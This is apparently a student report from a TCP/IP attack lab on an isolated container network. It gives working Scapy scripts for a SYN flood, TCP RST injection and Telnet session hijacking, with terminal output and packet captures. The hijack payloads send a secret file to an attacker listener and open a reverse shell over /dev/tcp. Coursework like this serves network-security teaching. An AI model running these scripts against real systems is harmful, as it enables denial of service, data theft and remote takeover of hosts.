

TCP/IP Attack Lab - Comprehensive Report

Task 1: SYN Flood Attack

This task demonstrates SYN flood using Python and C. Multiple half-open connections filled the backlog.

Python SYN Flood Script:

```
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source IP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)
```

Python script running

```
hijack.py reverse_shell_inject.py rst_attack.py synflood.c synflood.py t3_hijack.py
root@attacker-10-9-0-1:/volumes# python3 synflood.py
```

SYN_RECV count

```
root@victim-10-9-0-5:/# netstat -tna | grep SYN_RECV | wc -l
129
root@victim-10-9-0-5:/# █
```

C attack execution

```
root@attacker-10-9-0-1:/volumes# gcc -o synflood synflood.c
root@attacker-10-9-0-1:/volumes# ./synflood 10.9.0.5 23
█
```

Verification after C attack

```
root@victim-10-9-0-5:/# netstat -tna | grep SYN_RECV | wc -l
129
root@victim-10-9-0-5:/#
```

SYN cookies enabled

```
root@victim-10-9-0-5:/# netstat -tna | grep SYN_RECV | wc -l
129
root@victim-10-9-0-5:/# sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies = 1
root@victim-10-9-0-5:/# netstat -tna | grep SYN_RECV | wc -l
129
root@victim-10-9-0-5:/#
```

TCP/IP Attack Lab - Comprehensive Report

Task 2: TCP RST Injection

RST packets were used to tear down a Telnet connection.

RST Injection Script:

```
#!/usr/bin/env python3
from scapy.all import *

# Forge the RST packet
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=56500, dport=23, flags="R", seq=1355929640)

# Combine and send
pkt = ip / tcp
send(pkt, verbose=1)
```

1. TCP session via tcpdump

```
Sent 1 packets.
root@attacker-10-9-0-1:/volumes# tcpdump -i any tcp port 23 -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
18:20:17.542099 IP 10.9.0.6.45602 > 10.9.0.5.23: Flags [P.], seq 1411798157:1411798158, ack 4064189656, win 512, options [nop,nop,TS val 2875381823 ecr 1249453670], length 1
18:20:17.542123 IP 10.9.0.6.45602 > 10.9.0.5.23: Flags [P.], seq 0:1, ack 1, win 512, options [nop,nop,TS val 2875381823 ecr 1249453670], length 1
18:20:17.542128 IP 10.9.0.6.45602 > 10.9.0.5.23: Flags [P.], seq 0:1, ack 1, win 512, options [nop,nop,TS val 2875381823 ecr 1249453670], length 1
18:20:17.542360 IP 10.9.0.5.23 > 10.9.0.6.45602: Flags [P.U], seq 1:2, ack 1, win 507, urg 1, options [nop,nop,TS val 1249491258 ecr 2875381823], length 1
```

2. RST packets captured

```
18:20:39.777493 IP 10.9.0.6.45602 > 10.9.0.5.23: Flags [F.], seq 7, ack 101, win 512, options [nop,nop,TS val 2875404058 ecr 1249513493], length 0
18:20:39.777543 IP 10.9.0.5.23 > 10.9.0.6.45602: Flags [.], ack 8, win 507, options [nop,nop,TS val 1249513493 ecr 2875404058], length 0
18:20:39.777546 IP 10.9.0.5.23 > 10.9.0.6.45602: Flags [.], ack 8, win 507, options [nop,nop,TS val 1249513493 ecr 2875404058], length 0
18:20:39.777549 IP 10.9.0.5.23 > 10.9.0.6.45602: Flags [.], ack 8, win 507, options [nop,nop,TS val 1249513493 ecr 2875404058], length 0
18:21:52.971656 IP 10.9.0.6.40328 > 10.9.0.5.23: Flags [R], seq 7, win 8192, length 0
18:21:52.971678 IP 10.9.0.6.40328 > 10.9.0.5.23: Flags [R], seq 7, win 8192, length 0
```

3. RST script execution

```
rst_attack.py synflood synflood.c synflood.py
root@attacker-10-9-0-1:/volumes# python3 rst_attack.py
Sent 1 packets.
root@attacker-10-9-0-1:/volumes#
```

TCP/IP Attack Lab - Comprehensive Report

4. Telnet closed confirmation

```
Login timed out after 60 seconds.  
Connection closed by foreign host.  
root@user1-10-9-0-6:/#
```

Task 3: TCP Session Hijacking

Injected command into Telnet session using valid SEQ/ACK values.

Session Hijack Script:

```
#!/usr/bin/env python3  
from scapy.all import *  
  
ip = IP(src="10.9.0.6", dst="10.9.0.5")  
tcp = TCP(sport=49512, dport=23, flags="A", seq=2644729563, ack=644915621)  
data = "\r cat secret > /dev/tcp/10.9.0.1/9090 \r"  
pkt = ip/tcp/data  
ls(pkt)  
send(pkt,iface="br-3924704d2e93", verbose=0)
```

Wireshark SEQ/ACK capture

Wireshark packet capture showing a Telnet session hijack. The capture is on interface br-3924704d2e93. The selected packet (No. 38) is a TCP ACK from 10.9.0.5 to 10.9.0.6 with sequence number 2644729563 and acknowledgment number 644915621. The packet details show it's a valid ACK for the previous TELNET packet.

No.	Time	Source	Destination	Protocol	Length	Info
25	54.933638080	10.9.0.1	10.9.0.5	TCP	66	9090 → 41804 [FIN, ACK] Seq=1 Ack=5 Win=64896 Len=0 TSval=2699165017 TSecr=126
26	54.933659921	10.9.0.5	10.9.0.1	TCP	66	41804 → 9090 [ACK] Seq=5 Ack=2 Win=65536 Len=0 TSval=1262867023 TSecr=26991050
27	55.139955414	10.9.0.5	10.9.0.6	TELNET	129	63 bytes data
28	55.347962356	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
29	55.787953901	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
30	56.619947974	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
31	58.283995450	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
32	60.139978948	c2:3b:8f:be:d6:b8	8a:c7:f8:ea:da:bb	ARP	42	Who has 10.9.0.1? Tell 10.9.0.5
33	60.140012420	8a:c7:f8:ea:da:bb	c2:3b:8f:be:d6:b8	ARP	42	10.9.0.1 is at 8a:c7:f8:ea:da:bb
34	60.139986131	c2:3b:8f:be:d6:b8	2e:00:7a:05:bd:b7	ARP	42	Who has 10.9.0.6? Tell 10.9.0.5
35	60.140028401	2e:00:7a:05:bd:b7	c2:3b:8f:be:d6:b8	ARP	42	10.9.0.6 is at 2e:00:7a:05:bd:b7
36	61.675970665	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
37	68.331984680	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=
38	81.644076889	10.9.0.5	10.9.0.6	TCP	155	[TCP Retransmission] 23 → 49512 [PSH, ACK] Seq=37 Ack=44 Win=507 Len=89 TSval=

Frame 14: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface
Ethernet II, Src: 2e:00:7a:05:bd:b7 (2e:00:7a:05:bd:b7), Dst: c2:3b:8f:be:d6:b8
Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5
Transmission Control Protocol, Src Port: 49512, Dst Port: 23, Seq: 5, Ack: 37
Source Port: 49512
Destination Port: 23
[Stream index: 0]
[Stream Packet Number: 14]
[Conversation completeness: Incomplete (12)]
[TCP Segment Len: 0]
Sequence Number: 5 (relative sequence number)
Sequence Number (raw): 2644729563
[Next Sequence Number: 5 (relative sequence number)]
Acknowledgment Number: 37 (relative ack number)
Acknowledgment number (raw): 644915621

Command injection execution

TCP/IP Attack Lab - Comprehensive Report

```
cos      : XByteField      = 0      (0)
len      : ShortField      = None   (None)
id       : ShortField      = 1      (1)
flags    : FlagsField (3 bits) = <Flag 0 (>) (<Flag 0 (>))
frag     : BitField (13 bits) = 0      (0)
ttl      : ByteField       = 64     (64)
proto    : ByteEnumField   = 6      (0)
chksum   : XShortField     = None   (None)
src      : SourceIPField   = '10.9.0.6' (None)
dst      : DestIPField     = '10.9.0.5' (None)
options  : PacketListField = []     ([])
--
sport    : ShortEnumField  = 49512  (20)
dport    : ShortEnumField  = 23     (80)
seq      : IntField        = 2644729563 (0)
ack      : IntField        = 644915621 (0)
dataofs  : BitField (4 bits) = None   (None)
reserved : BitField (3 bits) = 0      (0)
flags    : FlagsField (9 bits) = <Flag 16 (A)> (<Flag 2 (S)>)
window   : ShortField      = 8192   (8192)
chksum   : XShortField     = None   (None)
urgptr   : ShortField      = 0      (0)
options  : TCPOptionsField = []     (b'')
--
load     : StrField        = b'\r cat secret > /dev/tcp/10.9.0.1/9090 \r' (b'')
hi
[1]+  Done                  nc -l 9090
root@attacker-10-9-0-1:/volumes#
```

Task 4: Reverse Shell via Hijack

This task involved injecting a reverse shell command into a hijacked Telnet session.

Reverse Shell Injection Script:

```
#!/usr/bin/env python3
from scapy.all import *

ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=40082, dport=23, flags="PA", seq=4294967229, ack=4294967292)
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"
pkt = ip/tcp/data

send(pkt, verbose=1)
```